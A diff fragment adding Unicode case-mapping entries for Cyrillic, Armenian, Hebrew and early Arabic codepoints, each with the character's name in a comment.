+ [0x49c, 0x49d], /* CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR) */
+ [0x49c, 0x49d], /* CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR) */
+ [0x49e, 0x49f], /* CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR) */
+ [0x49e, 0x49f], /* CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR) */
+ [0x4a0, 0x4a1], /* CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA) */
+ [0x4a0, 0x4a1], /* CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA) */
+ [0x4a2, 0x4a3], /* CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER) */
+ [0x4a2, 0x4a3], /* CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER) */
+ [0x4a4, 0x4a5], /* CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE) */
+ [0x4a4, 0x4a5], /* CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE) */
+ [0x4a6, 0x4a7], /* CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK) */
+ [0x4a6, 0x4a7], /* CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK) */
+ [0x4a8, 0x4a9], /* CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK) */
+ [0x4a8, 0x4a9], /* CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK) */
+ [0x4aa, 0x4ab], /* CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA) */
+ [0x4aa, 0x4ab], /* CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA) */
+ [0x4ac, 0x4ad], /* CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER) */
+ [0x4ac, 0x4ad], /* CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER) */
+ [0x4ae, 0x4af], /* CYRILLIC CAPITAL LETTER STRAIGHT U */
+ [0x4ae, 0x4af], /* CYRILLIC SMALL LETTER STRAIGHT U */
+ [0x4b0, 0x4b1], /* CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR) */
+ [0x4b0, 0x4b1], /* CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR) */
+ [0x4b2, 0x4b3], /* CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER) */
+ [0x4b2, 0x4b3], /* CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER) */
+ [0x4b4, 0x4b5], /* CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE) */
+ [0x4b4, 0x4b5], /* CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE) */
+ [0x4b6, 0x4b7], /* CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER) */
+ [0x4b6, 0x4b7], /* CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER) */
+ [0x4b8, 0x4b9], /* CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR) */
+ [0x4b8, 0x4b9], /* CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR) */
+ [0x4ba, 0x4bb], /* CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H) */
+ [0x4ba, 0x4bb], /* CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H) */
+ [0x4bc, 0x4bd], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK) */
+ [0x4bc, 0x4bd], /* CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK) */
+ [0x4be, 0x4bf], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK) */
+ [0x4be, 0x4bf], /* CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK) */
+ [0x4c0, 0x4cf], /* CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I) */
+ [0x4c1, 0x4c2], /* CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE) */
+ [0x4c1, 0x4c2], /* CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE) */
+ [0x4c3, 0x4c4], /* CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK) */
+ [0x4c3, 0x4c4], /* CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK) */
+ [0x4c5, 0x4c6], /* CYRILLIC CAPITAL LETTER EL WITH TAIL */
+ [0x4c5, 0x4c6], /* CYRILLIC SMALL LETTER EL WITH TAIL */
+ [0x4c7, 0x4c8], /* CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK) */
+ [0x4c7, 0x4c8], /* CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK) */
+ [0x4c9, 0x4ca], /* CYRILLIC CAPITAL LETTER EN WITH TAIL */
+ [0x4c9, 0x4ca], /* CYRILLIC SMALL LETTER EN WITH TAIL */
+ [0x4cb, 0x4cc], /* CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER) */
+ [0x4cb, 0x4cc], /* CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER) */
+ [0x4cd, 0x4ce], /* CYRILLIC CAPITAL LETTER EM WITH TAIL */
+ [0x4cd, 0x4ce], /* CYRILLIC SMALL LETTER EM WITH TAIL */
+ [0x4c0, 0x4cf], /* CYRILLIC SMALL LETTER PALOCHKA */
+ [0x4d0, 0x4d1], /* CYRILLIC CAPITAL LETTER A WITH BREVE */
+ [0x4d0, 0x4d1], /* CYRILLIC SMALL LETTER A WITH BREVE */
+ [0x4d2, 0x4d3], /* CYRILLIC CAPITAL LETTER A WITH DIAERESIS */
+ [0x4d2, 0x4d3], /* CYRILLIC SMALL LETTER A WITH DIAERESIS */
+ [0x4d4, 0x4d5], /* CYRILLIC CAPITAL LIGATURE A IE */
+ [0x4d4, 0x4d5], /* CYRILLIC SMALL LIGATURE A IE */
+ [0x4d6, 0x4d7], /* CYRILLIC CAPITAL LETTER IE WITH BREVE */
+ [0x4d6, 0x4d7], /* CYRILLIC SMALL LETTER IE WITH BREVE */
+ [0x4d8, 0x4d9], /* CYRILLIC CAPITAL LETTER SCHWA */
+ [0x4d8, 0x4d9], /* CYRILLIC SMALL LETTER SCHWA */
+ [0x4da, 0x4db], /* CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS */
+ [0x4da, 0x4db], /* CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS */
+ [0x4dc, 0x4dd], /* CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS */
+ [0x4dc, 0x4dd], /* CYRILLIC SMALL LETTER ZHE WITH DIAERESIS */
+ [0x4de, 0x4df], /* CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS */
+ [0x4de, 0x4df], /* CYRILLIC SMALL LETTER ZE WITH DIAERESIS */
+ [0x4e0, 0x4e1], /* CYRILLIC CAPITAL LETTER ABKHASIAN DZE */
+ [0x4e0, 0x4e1], /* CYRILLIC SMALL LETTER ABKHASIAN DZE */
+ [0x4e2, 0x4e3], /* CYRILLIC CAPITAL LETTER I WITH MACRON */
+ [0x4e2, 0x4e3], /* CYRILLIC SMALL LETTER I WITH MACRON */
+ [0x4e4, 0x4e5], /* CYRILLIC CAPITAL LETTER I WITH DIAERESIS */
+ [0x4e4, 0x4e5], /* CYRILLIC SMALL LETTER I WITH DIAERESIS */
+ [0x4e6, 0x4e7], /* CYRILLIC CAPITAL LETTER O WITH DIAERESIS */
+ [0x4e6, 0x4e7], /* CYRILLIC SMALL LETTER O WITH DIAERESIS */
+ [0x4e8, 0x4e9], /* CYRILLIC CAPITAL LETTER BARRED O */
+ [0x4e8, 0x4e9], /* CYRILLIC SMALL LETTER BARRED O */
+ [0x4ea, 0x4eb], /* CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS */
+ [0x4ea, 0x4eb], /* CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS */
+ [0x4ec, 0x4ed], /* CYRILLIC CAPITAL LETTER E WITH DIAERESIS */
+ [0x4ec, 0x4ed], /* CYRILLIC SMALL LETTER E WITH DIAERESIS */
+ [0x4ee, 0x4ef], /* CYRILLIC CAPITAL LETTER U WITH MACRON */
+ [0x4ee, 0x4ef], /* CYRILLIC SMALL LETTER U WITH MACRON */
+ [0x4f0, 0x4f1], /* CYRILLIC CAPITAL LETTER U WITH DIAERESIS */
+ [0x4f0, 0x4f1], /* CYRILLIC SMALL LETTER U WITH DIAERESIS */
+ [0x4f2, 0x4f3], /* CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE */
+ [0x4f2, 0x4f3], /* CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE */
+ [0x4f4, 0x4f5], /* CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS */
+ [0x4f4, 0x4f5], /* CYRILLIC SMALL LETTER CHE WITH DIAERESIS */
+ [0x4f6, 0x4f7], /* CYRILLIC CAPITAL LETTER GHE WITH DESCENDER */
+ [0x4f6, 0x4f7], /* CYRILLIC SMALL LETTER GHE WITH DESCENDER */
+ [0x4f8, 0x4f9], /* CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS */
+ [0x4f8, 0x4f9], /* CYRILLIC SMALL LETTER YERU WITH DIAERESIS */
+ [0x4fa, 0x4fb], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK */
+ [0x4fa, 0x4fb], /* CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK */
+ [0x4fc, 0x4fd], /* CYRILLIC CAPITAL LETTER HA WITH HOOK */
+ [0x4fc, 0x4fd], /* CYRILLIC SMALL LETTER HA WITH HOOK */
+ [0x4fe, 0x4ff], /* CYRILLIC CAPITAL LETTER HA WITH STROKE */
+ [0x4fe, 0x4ff], /* CYRILLIC SMALL LETTER HA WITH STROKE */
+ [0x500, 0x501], /* CYRILLIC CAPITAL LETTER KOMI DE */
+ [0x500, 0x501], /* CYRILLIC SMALL LETTER KOMI DE */
+ [0x502, 0x503], /* CYRILLIC CAPITAL LETTER KOMI DJE */
+ [0x502, 0x503], /* CYRILLIC SMALL LETTER KOMI DJE */
+ [0x504, 0x505], /* CYRILLIC CAPITAL LETTER KOMI ZJE */
+ [0x504, 0x505], /* CYRILLIC SMALL LETTER KOMI ZJE */
+ [0x506, 0x507], /* CYRILLIC CAPITAL LETTER KOMI DZJE */
+ [0x506, 0x507], /* CYRILLIC SMALL LETTER KOMI DZJE */
+ [0x508, 0x509], /* CYRILLIC CAPITAL LETTER KOMI LJE */
+ [0x508, 0x509], /* CYRILLIC SMALL LETTER KOMI LJE */
+ [0x50a, 0x50b], /* CYRILLIC CAPITAL LETTER KOMI NJE */
+ [0x50a, 0x50b], /* CYRILLIC SMALL LETTER KOMI NJE */
+ [0x50c, 0x50d], /* CYRILLIC CAPITAL LETTER KOMI SJE */
+ [0x50c, 0x50d], /* CYRILLIC SMALL LETTER KOMI SJE */
+ [0x50e, 0x50f], /* CYRILLIC CAPITAL LETTER KOMI TJE */
+ [0x50e, 0x50f], /* CYRILLIC SMALL LETTER KOMI TJE */
+ [0x510, 0x511], /* CYRILLIC CAPITAL LETTER REVERSED ZE */
+ [0x510, 0x511], /* CYRILLIC SMALL LETTER REVERSED ZE */
+ [0x512, 0x513], /* CYRILLIC CAPITAL LETTER EL WITH HOOK */
+ [0x512, 0x513], /* CYRILLIC SMALL LETTER EL WITH HOOK */
+ [0x514, 0x515], /* CYRILLIC CAPITAL LETTER LHA */
+ [0x514, 0x515], /* CYRILLIC SMALL LETTER LHA */
+ [0x516, 0x517], /* CYRILLIC CAPITAL LETTER RHA */
+ [0x516, 0x517], /* CYRILLIC SMALL LETTER RHA */
+ [0x518, 0x519], /* CYRILLIC CAPITAL LETTER YAE */
+ [0x518, 0x519], /* CYRILLIC SMALL LETTER YAE */
+ [0x51a, 0x51b], /* CYRILLIC CAPITAL LETTER QA */
+ [0x51a, 0x51b], /* CYRILLIC SMALL LETTER QA */
+ [0x51c, 0x51d], /* CYRILLIC CAPITAL LETTER WE */
+ [0x51c, 0x51d], /* CYRILLIC SMALL LETTER WE */
+ [0x51e, 0x51f], /* CYRILLIC CAPITAL LETTER ALEUT KA */
+ [0x51e, 0x51f], /* CYRILLIC SMALL LETTER ALEUT KA */
+ [0x520, 0x521], /* CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK */
+ [0x520, 0x521], /* CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK */
+ [0x522, 0x523], /* CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK */
+ [0x522, 0x523], /* CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK */
+ [0x524, 0x525], /* CYRILLIC CAPITAL LETTER PE WITH DESCENDER */
+ [0x524, 0x525], /* CYRILLIC SMALL LETTER PE WITH DESCENDER */
+ [0x526, 0x527], /* CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER */
+ [0x526, 0x527], /* CYRILLIC SMALL LETTER SHHA WITH DESCENDER */
+ [0x528, 0x529], /* CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK */
+ [0x528, 0x529], /* CYRILLIC SMALL LETTER EN WITH LEFT HOOK */
+ [0x52a, 0x52b], /* CYRILLIC CAPITAL LETTER DZZHE */
+ [0x52a, 0x52b], /* CYRILLIC SMALL LETTER DZZHE */
+ [0x52c, 0x52d], /* CYRILLIC CAPITAL LETTER DCHE */
+ [0x52c, 0x52d], /* CYRILLIC SMALL LETTER DCHE */
+ [0x52e, 0x52f], /* CYRILLIC CAPITAL LETTER EL WITH DESCENDER */
+ [0x52e, 0x52f], /* CYRILLIC SMALL LETTER EL WITH DESCENDER */
+ [0x530, 0x530],
+ [0x531, 0x561], /* ARMENIAN CAPITAL LETTER AYB */
+ [0x532, 0x562], /* ARMENIAN CAPITAL LETTER BEN */
+ [0x533, 0x563], /* ARMENIAN CAPITAL LETTER GIM */
+ [0x534, 0x564], /* ARMENIAN CAPITAL LETTER DA */
+ [0x535, 0x565], /* ARMENIAN CAPITAL LETTER ECH */
+ [0x536, 0x566], /* ARMENIAN CAPITAL LETTER ZA */
+ [0x537, 0x567], /* ARMENIAN CAPITAL LETTER EH */
+ [0x538, 0x568], /* ARMENIAN CAPITAL LETTER ET */
+ [0x539, 0x569], /* ARMENIAN CAPITAL LETTER TO */
+ [0x53a, 0x56a], /* ARMENIAN CAPITAL LETTER ZHE */
+ [0x53b, 0x56b], /* ARMENIAN CAPITAL LETTER INI */
+ [0x53c, 0x56c], /* ARMENIAN CAPITAL LETTER LIWN */
+ [0x53d, 0x56d], /* ARMENIAN CAPITAL LETTER XEH */
+ [0x53e, 0x56e], /* ARMENIAN CAPITAL LETTER CA */
+ [0x53f, 0x56f], /* ARMENIAN CAPITAL LETTER KEN */
+ [0x540, 0x570], /* ARMENIAN CAPITAL LETTER HO */
+ [0x541, 0x571], /* ARMENIAN CAPITAL LETTER JA */
+ [0x542, 0x572], /* ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD) */
+ [0x543, 0x573], /* ARMENIAN CAPITAL LETTER CHEH */
+ [0x544, 0x574], /* ARMENIAN CAPITAL LETTER MEN */
+ [0x545, 0x575], /* ARMENIAN CAPITAL LETTER YI */
+ [0x546, 0x576], /* ARMENIAN CAPITAL LETTER NOW */
+ [0x547, 0x577], /* ARMENIAN CAPITAL LETTER SHA */
+ [0x548, 0x578], /* ARMENIAN CAPITAL LETTER VO */
+ [0x549, 0x579], /* ARMENIAN CAPITAL LETTER CHA */
+ [0x54a, 0x57a], /* ARMENIAN CAPITAL LETTER PEH */
+ [0x54b, 0x57b], /* ARMENIAN CAPITAL LETTER JHEH */
+ [0x54c, 0x57c], /* ARMENIAN CAPITAL LETTER RA */
+ [0x54d, 0x57d], /* ARMENIAN CAPITAL LETTER SEH */
+ [0x54e, 0x57e], /* ARMENIAN CAPITAL LETTER VEW */
+ [0x54f, 0x57f], /* ARMENIAN CAPITAL LETTER TIWN */
+ [0x550, 0x580], /* ARMENIAN CAPITAL LETTER REH */
+ [0x551, 0x581], /* ARMENIAN CAPITAL LETTER CO */
+ [0x552, 0x582], /* ARMENIAN CAPITAL LETTER YIWN */
+ [0x553, 0x583], /* ARMENIAN CAPITAL LETTER PIWR */
+ [0x554, 0x584], /* ARMENIAN CAPITAL LETTER KEH */
+ [0x555, 0x585], /* ARMENIAN CAPITAL LETTER OH */
+ [0x556, 0x586], /* ARMENIAN CAPITAL LETTER FEH */
+ [0x557, 0x557],
+ [0x558, 0x558],
+ [0x559, 0x559], /* ARMENIAN MODIFIER LETTER LEFT HALF RING */
+ [0x55a, 0x55a], /* ARMENIAN APOSTROPHE (ARMENIAN MODIFIER LETTER RIGHT HALF RING) */
+ [0x55b, 0x55b], /* ARMENIAN EMPHASIS MARK */
+ [0x55c, 0x55c], /* ARMENIAN EXCLAMATION MARK */
+ [0x55d, 0x55d], /* ARMENIAN COMMA */
+ [0x55e, 0x55e], /* ARMENIAN QUESTION MARK */
+ [0x55f, 0x55f], /* ARMENIAN ABBREVIATION MARK */
+ [0x560, 0x560],
+ [0x531, 0x561], /* ARMENIAN SMALL LETTER AYB */
+ [0x532, 0x562], /* ARMENIAN SMALL LETTER BEN */
+ [0x533, 0x563], /* ARMENIAN SMALL LETTER GIM */
+ [0x534, 0x564], /* ARMENIAN SMALL LETTER DA */
+ [0x535, 0x565], /* ARMENIAN SMALL LETTER ECH */
+ [0x536, 0x566], /* ARMENIAN SMALL LETTER ZA */
+ [0x537, 0x567], /* ARMENIAN SMALL LETTER EH */
+ [0x538, 0x568], /* ARMENIAN SMALL LETTER ET */
+ [0x539, 0x569], /* ARMENIAN SMALL LETTER TO */
+ [0x53a, 0x56a], /* ARMENIAN SMALL LETTER ZHE */
+ [0x53b, 0x56b], /* ARMENIAN SMALL LETTER INI */
+ [0x53c, 0x56c], /* ARMENIAN SMALL LETTER LIWN */
+ [0x53d, 0x56d], /* ARMENIAN SMALL LETTER XEH */
+ [0x53e, 0x56e], /* ARMENIAN SMALL LETTER CA */
+ [0x53f, 0x56f], /* ARMENIAN SMALL LETTER KEN */
+ [0x540, 0x570], /* ARMENIAN SMALL LETTER HO */
+ [0x541, 0x571], /* ARMENIAN SMALL LETTER JA */
+ [0x542, 0x572], /* ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD) */
+ [0x543, 0x573], /* ARMENIAN SMALL LETTER CHEH */
+ [0x544, 0x574], /* ARMENIAN SMALL LETTER MEN */
+ [0x545, 0x575], /* ARMENIAN SMALL LETTER YI */
+ [0x546, 0x576], /* ARMENIAN SMALL LETTER NOW */
+ [0x547, 0x577], /* ARMENIAN SMALL LETTER SHA */
+ [0x548, 0x578], /* ARMENIAN SMALL LETTER VO */
+ [0x549, 0x579], /* ARMENIAN SMALL LETTER CHA */
+ [0x54a, 0x57a], /* ARMENIAN SMALL LETTER PEH */
+ [0x54b, 0x57b], /* ARMENIAN SMALL LETTER JHEH */
+ [0x54c, 0x57c], /* ARMENIAN SMALL LETTER RA */
+ [0x54d, 0x57d], /* ARMENIAN SMALL LETTER SEH */
+ [0x54e, 0x57e], /* ARMENIAN SMALL LETTER VEW */
+ [0x54f, 0x57f], /* ARMENIAN SMALL LETTER TIWN */
+ [0x550, 0x580], /* ARMENIAN SMALL LETTER REH */
+ [0x551, 0x581], /* ARMENIAN SMALL LETTER CO */
+ [0x552, 0x582], /* ARMENIAN SMALL LETTER YIWN */
+ [0x553, 0x583], /* ARMENIAN SMALL LETTER PIWR */
+ [0x554, 0x584], /* ARMENIAN SMALL LETTER KEH */
+ [0x555, 0x585], /* ARMENIAN SMALL LETTER OH */
+ [0x556, 0x586], /* ARMENIAN SMALL LETTER FEH */
+ [0x587, 0x587], /* ARMENIAN SMALL LIGATURE ECH YIWN */
+ [0x588, 0x588],
+ [0x589, 0x589], /* ARMENIAN FULL STOP (ARMENIAN PERIOD) */
+ [0x58a, 0x58a], /* ARMENIAN HYPHEN */
+ [0x58b, 0x58b],
+ [0x58c, 0x58c],
+ [0x58d, 0x58d], /* RIGHT-FACING ARMENIAN ETERNITY SIGN */
+ [0x58e, 0x58e], /* LEFT-FACING ARMENIAN ETERNITY SIGN */
+ [0x58f, 0x58f], /* ARMENIAN DRAM SIGN */
+ [0x590, 0x590],
+ [0x591, 0x591], /* HEBREW ACCENT ETNAHTA */
+ [0x592, 0x592], /* HEBREW ACCENT SEGOL */
+ [0x593, 0x593], /* HEBREW ACCENT SHALSHELET */
+ [0x594, 0x594], /* HEBREW ACCENT ZAQEF QATAN */
+ [0x595, 0x595], /* HEBREW ACCENT ZAQEF GADOL */
+ [0x596, 0x596], /* HEBREW ACCENT TIPEHA */
+ [0x597, 0x597], /* HEBREW ACCENT REVIA */
+ [0x598, 0x598], /* HEBREW ACCENT ZARQA */
+ [0x599, 0x599], /* HEBREW ACCENT PASHTA */
+ [0x59a, 0x59a], /* HEBREW ACCENT YETIV */
+ [0x59b, 0x59b], /* HEBREW ACCENT TEVIR */
+ [0x59c, 0x59c], /* HEBREW ACCENT GERESH */
+ [0x59d, 0x59d], /* HEBREW ACCENT GERESH MUQDAM */
+ [0x59e, 0x59e], /* HEBREW ACCENT GERSHAYIM */
+ [0x59f, 0x59f], /* HEBREW ACCENT QARNEY PARA */
+ [0x5a0, 0x5a0], /* HEBREW ACCENT TELISHA GEDOLA */
+ [0x5a1, 0x5a1], /* HEBREW ACCENT PAZER */
+ [0x5a2, 0x5a2], /* HEBREW ACCENT ATNAH HAFUKH */
+ [0x5a3, 0x5a3], /* HEBREW ACCENT MUNAH */
+ [0x5a4, 0x5a4], /* HEBREW ACCENT MAHAPAKH */
+ [0x5a5, 0x5a5], /* HEBREW ACCENT MERKHA */
+ [0x5a6, 0x5a6], /* HEBREW ACCENT MERKHA KEFULA */
+ [0x5a7, 0x5a7], /* HEBREW ACCENT DARGA */
+ [0x5a8, 0x5a8], /* HEBREW ACCENT QADMA */
+ [0x5a9, 0x5a9], /* HEBREW ACCENT TELISHA QETANA */
+ [0x5aa, 0x5aa], /* HEBREW ACCENT YERAH BEN YOMO */
+ [0x5ab, 0x5ab], /* HEBREW ACCENT OLE */
+ [0x5ac, 0x5ac], /* HEBREW ACCENT ILUY */
+ [0x5ad, 0x5ad], /* HEBREW ACCENT DEHI */
+ [0x5ae, 0x5ae], /* HEBREW ACCENT ZINOR */
+ [0x5af, 0x5af], /* HEBREW MARK MASORA CIRCLE */
+ [0x5b0, 0x5b0], /* HEBREW POINT SHEVA */
+ [0x5b1, 0x5b1], /* HEBREW POINT HATAF SEGOL */
+ [0x5b2, 0x5b2], /* HEBREW POINT HATAF PATAH */
+ [0x5b3, 0x5b3], /* HEBREW POINT HATAF QAMATS */
+ [0x5b4, 0x5b4], /* HEBREW POINT HIRIQ */
+ [0x5b5, 0x5b5], /* HEBREW POINT TSERE */
+ [0x5b6, 0x5b6], /* HEBREW POINT SEGOL */
+ [0x5b7, 0x5b7], /* HEBREW POINT PATAH */
+ [0x5b8, 0x5b8], /* HEBREW POINT QAMATS */
+ [0x5b9, 0x5b9], /* HEBREW POINT HOLAM */
+ [0x5ba, 0x5ba], /* HEBREW POINT HOLAM HASER FOR VAV */
+ [0x5bb, 0x5bb], /* HEBREW POINT QUBUTS */
+ [0x5bc, 0x5bc], /* HEBREW POINT DAGESH OR MAPIQ (HEBREW POINT DAGESH) */
+ [0x5bd, 0x5bd], /* HEBREW POINT METEG */
+ [0x5be, 0x5be], /* HEBREW PUNCTUATION MAQAF */
+ [0x5bf, 0x5bf], /* HEBREW POINT RAFE */
+ [0x5c0, 0x5c0], /* HEBREW PUNCTUATION PASEQ (HEBREW POINT PASEQ) */
+ [0x5c1, 0x5c1], /* HEBREW POINT SHIN DOT */
+ [0x5c2, 0x5c2], /* HEBREW POINT SIN DOT */
+ [0x5c3, 0x5c3], /* HEBREW PUNCTUATION SOF PASUQ */
+ [0x5c4, 0x5c4], /* HEBREW MARK UPPER DOT */
+ [0x5c5, 0x5c5], /* HEBREW MARK LOWER DOT */
+ [0x5c6, 0x5c6], /* HEBREW PUNCTUATION NUN HAFUKHA */
+ [0x5c7, 0x5c7], /* HEBREW POINT QAMATS QATAN */
+ [0x5c8, 0x5c8],
+ [0x5c9, 0x5c9],
+ [0x5ca, 0x5ca],
+ [0x5cb, 0x5cb],
+ [0x5cc, 0x5cc],
+ [0x5cd, 0x5cd],
+ [0x5ce, 0x5ce],
+ [0x5cf, 0x5cf],
+ [0x5d0, 0x5d0], /* HEBREW LETTER ALEF */
+ [0x5d1, 0x5d1], /* HEBREW LETTER BET */
+ [0x5d2, 0x5d2], /* HEBREW LETTER GIMEL */
+ [0x5d3, 0x5d3], /* HEBREW LETTER DALET */
+ [0x5d4, 0x5d4], /* HEBREW LETTER HE */
+ [0x5d5, 0x5d5], /* HEBREW LETTER VAV */
+ [0x5d6, 0x5d6], /* HEBREW LETTER ZAYIN */
+ [0x5d7, 0x5d7], /* HEBREW LETTER HET */
+ [0x5d8, 0x5d8], /* HEBREW LETTER TET */
+ [0x5d9, 0x5d9], /* HEBREW LETTER YOD */
+ [0x5da, 0x5da], /* HEBREW LETTER FINAL KAF */
+ [0x5db, 0x5db], /* HEBREW LETTER KAF */
+ [0x5dc, 0x5dc], /* HEBREW LETTER LAMED */
+ [0x5dd, 0x5dd], /* HEBREW LETTER FINAL MEM */
+ [0x5de, 0x5de], /* HEBREW LETTER MEM */
+ [0x5df, 0x5df], /* HEBREW LETTER FINAL NUN */
+ [0x5e0, 0x5e0], /* HEBREW LETTER NUN */
+ [0x5e1, 0x5e1], /* HEBREW LETTER SAMEKH */
+ [0x5e2, 0x5e2], /* HEBREW LETTER AYIN */
+ [0x5e3, 0x5e3], /* HEBREW LETTER FINAL PE */
+ [0x5e4, 0x5e4], /* HEBREW LETTER PE */
+ [0x5e5, 0x5e5], /* HEBREW LETTER FINAL TSADI */
+ [0x5e6, 0x5e6], /* HEBREW LETTER TSADI */
+ [0x5e7, 0x5e7], /* HEBREW LETTER QOF */
+ [0x5e8, 0x5e8], /* HEBREW LETTER RESH */
+ [0x5e9, 0x5e9], /* HEBREW LETTER SHIN */
+ [0x5ea, 0x5ea], /* HEBREW LETTER TAV */
+ [0x5eb, 0x5eb],
+ [0x5ec, 0x5ec],
+ [0x5ed, 0x5ed],
+ [0x5ee, 0x5ee],
+ [0x5ef, 0x5ef],
+ [0x5f0, 0x5f0], /* HEBREW LIGATURE YIDDISH DOUBLE VAV (HEBREW LETTER DOUBLE VAV) */
+ [0x5f1, 0x5f1], /* HEBREW LIGATURE YIDDISH VAV YOD (HEBREW LETTER VAV YOD) */
+ [0x5f2, 0x5f2], /* HEBREW LIGATURE YIDDISH DOUBLE YOD (HEBREW LETTER DOUBLE YOD) */
+ [0x5f3, 0x5f3], /* HEBREW PUNCTUATION GERESH */
+ [0x5f4, 0x5f4], /* HEBREW PUNCTUATION GERSHAYIM */
+ [0x5f5, 0x5f5],
+ [0x5f6, 0x5f6],
+ [0x5f7, 0x5f7],
+ [0x5f8, 0x5f8],
+ [0x5f9, 0x5f9],
+ [0x5fa, 0x5fa],
+ [0x5fb, 0x5fb],
+ [0x5fc, 0x5fc],
+ [0x5fd, 0x5fd],
+ [0x5fe, 0x5fe],
+ [0x5ff, 0x5ff],
+ [0x600, 0x600], /* ARABIC NUMBER SIGN */
+ [0x601, 0x601], /* ARABIC SIGN SANAH */
+ [0x602, 0x602], /* ARABIC FOOTNOTE MARKER */
+ [0x603, 0x603], /* ARABIC SIGN SAFHA */
+ [0x604, 0x604], /* ARABIC SIGN SAMVAT */
+ [0x605, 0x605], /* ARABIC NUMBER MARK ABOVE */
+ [0x606, 0x606], /* ARABIC-INDIC CUBE ROOT */
+ [0x607, 0x607], /* ARABIC-INDIC FOURTH ROOT */
+ [0x608, 0x608], /* ARABIC RAY */
+ [0x609, 0x609], /* ARABIC-INDIC PER MILLE SIGN */
+ [0x60a, 0x60a], /* ARABIC-INDIC PER TEN THOUSAND SIGN */
